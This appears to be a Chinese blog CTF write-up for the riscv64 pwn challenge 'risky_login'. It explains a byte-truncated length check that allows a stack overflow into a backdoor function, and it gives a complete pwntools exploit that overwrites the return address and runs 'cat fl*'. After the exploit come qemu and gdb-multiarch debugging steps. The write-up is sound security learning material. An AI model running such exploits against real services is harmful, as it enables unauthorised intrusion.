riscv64调试记录

risky_login

题目本身并没有什么难度,由于IDA对riscv64架构并不支持反编译查看伪代码,所以本题使用ghidra进行逆向

在FUN_12345786函数中存在明显的栈溢出,但是需要绕过

1
8 < (byte)sVar1

这里有一个很明显的类型混淆,使用gpt搜索发现byte的范围是0-0xff,而size要比这大很多,所以有个比较明显的整数溢出,当param_1的长度大于等于0x100且小于0x108时可以满足这个条件。

并且本题存在后门函数

大概可以猜测出本题本题溢出长度就为0x100,然后就是绕过后门函数当中的过滤了,这里使用*自动补全就可以实现了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
from ctypes import *
from struct import pack
banary = "./pwn"
elf = ELF(banary)
libc = ELF("./libc.so.6")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
ip = 'tcp.cloud.dasctf.com'
port = 28250
local = 1
if local:
# io = process(["qemu-riscv64-static","-L","/usr/riscv64-linux-gnu/",banary])
io = process(["qemu-riscv64-static","-L","/usr/riscv64-linux-gnu/","-g","1234",banary])
else:
io = remote(ip, port)

context(log_level = 'debug', os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')

def dbg():
gdb.attach(io)
pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda data : io.success('%s -> 0x%x' % (data, eval(data)))
ia = lambda : io.interactive()

backdoor=0x123456ee

ru('Input ur name:')
payload=b'A'*8
s(payload)

ru("Input ur words")
payload=b'A'.ljust(0x100,b'A')+p64(backdoor)
s(payload)

sleep(0.5)
sl(b'cat fl*')

ia()

调试技巧

其实本题并不需要调试,只需要把题目的逻辑大概都理清楚,就可以将exp写出来了。但是为了防止以后再遇到riscv64的题目,还是需要学习一下。

听z1r0师傅说pwndbg是不支持riscv64架构的调试,需要去修改源码,并且修改地方比较多(太菜了,选择放弃这种方法)

然后刚好b站上又有国资师傅讲的异构课,重新听了一遍记录下riscv64的调试过程

首先是运行riscv64程序的命令

1
qemu-riscv64-static -L /usr/riscv64-linux-gnu/ ./pwn

调试命令:

1
qemu-riscv64-static -L /usr/riscv64-linux-gnu/ -g 1234 ./pwn

然后使用gdb-multiarch连接端口进行调试

1
2
3
gdb-multiarch pwn
set architecture riscv:rv64
target remote 0.0.0.0:1234

image-20230925203838667

可以看到pwndbg报错,本应该出现的信息都没有弹出来,这里只能使用gdb本身的几个命令来查看栈上的信息以及程序运行所在的地址

首先是正常下断点,将断点下在strcpy的后面

1
b *123457e0

接着c过去,可以看到什么信息都没有弹出来

Untitled

这里可以使用x/20i $pc,来查看程序运行到哪了

image-20230925203910578

也可以用i r来查看所有寄存器的状态

使用x/40gx $sp查看此时栈上的状态

Untitled

这里查看汇编,并且调试验证也可以得出本题会将sp+280处的数据给ra作为ret的返回值,并且输入点在$sp+0x18的位置处,所以可以得出溢出长度为0x100的结论。

Untitled


riscv64调试记录
http://blogyoulin.top/2023/09/25/riscv64调试记录/
Author
John Doe
Posted on
September 25, 2023
Licensed under